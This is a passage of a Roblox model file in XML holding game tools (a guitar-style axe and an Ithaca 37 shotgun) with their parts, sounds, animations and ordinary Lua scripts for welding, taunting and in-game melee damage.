			</Item>
			<Item class="Animation" referent="RBX4502">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4503">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Welding</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4504">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4505">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>-1</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>5.96046448e-008</R00>
					<R01>0.999949992</R01>
					<R02>-0.00999951363</R02>
					<R10>-5.96046448e-008</R10>
					<R11>0.00999951363</R11>
					<R12>0.999949992</R12>
					<R20>1</R20>
					<R21>-5.96046448e-008</R21>
					<R22>5.96046448e-008</R22>
				</CoordinateFrame>
				<string name="Name">Guitar</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126856765</url></Content>
				<string name="ToolTip">Guitar</string>
			</Properties>
			<Item class="Part" referent="RBX4506">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>19.3300018</X>
						<Y>92.5800018</Y>
						<Z>28.4400005</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4.79999971</X>
						<Y>0.800000012</Y>
						<Z>0.200000003</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4507">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1082816</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4508">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4509">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4510">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4511">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4512">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4513">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4514">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4515">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4516">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4517">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4518">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4519">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4520">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4521">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4522">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4523">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4524">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4525">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4526">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4527">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4528">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4529">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4530">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4531">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4532">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4533">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4534">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74813494</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX4535">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4536">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4537">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74897796</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4538">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX4539">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX4540">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349024534</R00>
						<R01>-0.16666688</R01>
						<R02>0.98539561</R02>
						<R10>-3.42726707e-007</R10>
						<R11>0.985996068</R11>
						<R12>0.166768461</R12>
						<R20>-0.999391019</R20>
						<R21>0.005820252</R21>
						<R22>-0.0344138145</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4541">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4542">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=20
swingdamage=32
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.9)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.9)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.9)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.9)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4543">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.25999999</X>
					<Y>-0.600000024</Y>
					<Z>-0.330000013</Z>
					<R00>0.970145285</R00>
					<R01>2.23517418e-007</R01>
					<R02>0.242524415</R02>
					<R10>0.242512301</R10>
					<R11>0.00999760628</R11>
					<R12>-0.970096886</R12>
					<R20>-0.00242490321</R20>
					<R21>0.999950111</R21>
					<R22>0.00969904661</R22>
				</CoordinateFrame>
				<string name="Name">Ithaca</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079958</url></Content>
				<string name="ToolTip">Ithaca 37</string>
			</Properties>
			<Item class="Part" referent="RBX4544">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-18.6000004</X>
						<Y>-68.5999985</Y>
						<Z>15.9000006</Z>
						<R00>0</R00>
						<R01>1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>2.79999995</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4545">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=71947462</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.20000005</X>
							<Y>1</Y>
							<Z>1.20000005</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4546">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">0.949999988</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209842 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4547">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">PumpSound</string>
						<float name="Pitch">0.800000012</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4548">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209845 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4549">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4550">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4551">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4552">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4553">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
